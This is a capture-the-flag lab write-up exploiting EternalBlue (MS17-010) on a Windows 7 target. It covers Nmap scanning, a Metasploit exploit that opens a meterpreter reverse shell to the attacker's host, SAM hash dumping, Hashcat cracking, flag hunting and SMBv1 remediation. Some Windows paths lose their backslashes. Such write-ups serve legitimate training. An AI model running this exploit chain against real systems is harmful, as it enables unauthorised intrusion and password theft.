Challenge Overview
Blue is the benchmark demonstration of EternalBlue (MS17-010) — one of the most critical remote code execution vulnerabilities in recent history. It targets an integer overflow flaw within Microsoft's Server Message Block version 1 (SMBv1) protocol handling, allowing unauthenticated attackers to execute arbitrary code with ring 0 (kernel) privileges.
Phase 1: Port Scanning & Vulnerability Scanning
We run a targeted Nmap scan specifically evaluating SMB vulnerability scripts:
bashterminal / script
# Standard service detection
nmap -sV -sC -p 135,139,445 10.10.198.81
# Run dedicated Nmap SMB vulnerability evaluation scripts
nmap -p 445 --script vuln 10.10.198.81
Scan Results
textterminal / script
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
The target host is running Windows 7 SP1 with SMBv1 enabled and unpatched, confirming susceptibility to MS17-010.
Phase 2: Exploitation via Metasploit & Python PoC
We demonstrate exploitation using both the classic Metasploit module and standalone Python exploitation.
Metasploit Framework Workflow:
bashterminal / script
msfconsole -q
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.198.81
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.8.x.x
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
Execution output:
textterminal / script
[*] 10.10.198.81:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.198.81:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.198.81:445 - Connecting to target for exploitation.
[+] 10.10.198.81:445 - Connection established for exploitation.
[+] 10.10.198.81:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.198.81:445 - Built a write-what-where primitive...
[+] 10.10.198.81:445 - Overwrite complete... Executing payload.
[*] Sending stage (200774 bytes) to 10.10.198.81
[*] Meterpreter session 1 opened (10.8.x.x:4444 -> 10.10.198.81:49175)
We verify our privileges:
meterpreterterminal / script
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
Because MS17-010 executes payload code directly in kernel memory (srv.sys), the session is instantiated with the highest privileges available on the operating system (NT AUTHORITY\SYSTEM), bypassing the need for separate privilege escalation.
Phase 3: Post-Exploitation & SAM Hash Extraction
With SYSTEM authority, we dump the Security Account Manager (SAM) database to harvest offline NTLM password hashes:
meterpreterterminal / script
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0ec14f12e38829d7843c1299f2:::
We copy the NTLM hash for user Jon (ffb43f0ec14f12e38829d7843c1299f2) and crack it using Hashcat:
bashterminal / script
# Hash mode 1000 = NTLM
hashcat -m 1000 ffb43f0ec14f12e38829d7843c1299f2 /usr/share/wordlists/rockyou.txt
Within seconds, Hashcat recovers the plaintext password:
textterminal / script
ffb43f0ec14f12e38829d7843c1299f2:alqfna22
Phase 4: Flag Hunting
We search the filesystem for the three flags planted across the machine:
cmdterminal / script
C:Windowssystem32> dir /s /b C:*flag*.txt
C:lag1.txt
C:UsersJonDocumentslag2.txt
C:WindowsSystem32configlag3.txt
All three flags recovered:
flag1{access_granted} (Root of C drive)flag2{sam_database_harvested} (User Jon Documents)flag3{system_authority_pwned} (SAM config directory)
Defense Remediation
Disable SMBv1: Disable the obsolete SMBv1 protocol enterprise-wide via Group Policy or PowerShell (Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol).Apply Security Updates: Apply Microsoft Security Bulletin MS17-010 (KB4012212 / KB4012215).Block SMB at Perimeter Firewalls: Ensure TCP port 445 is blocked at network borders to prevent external exposure.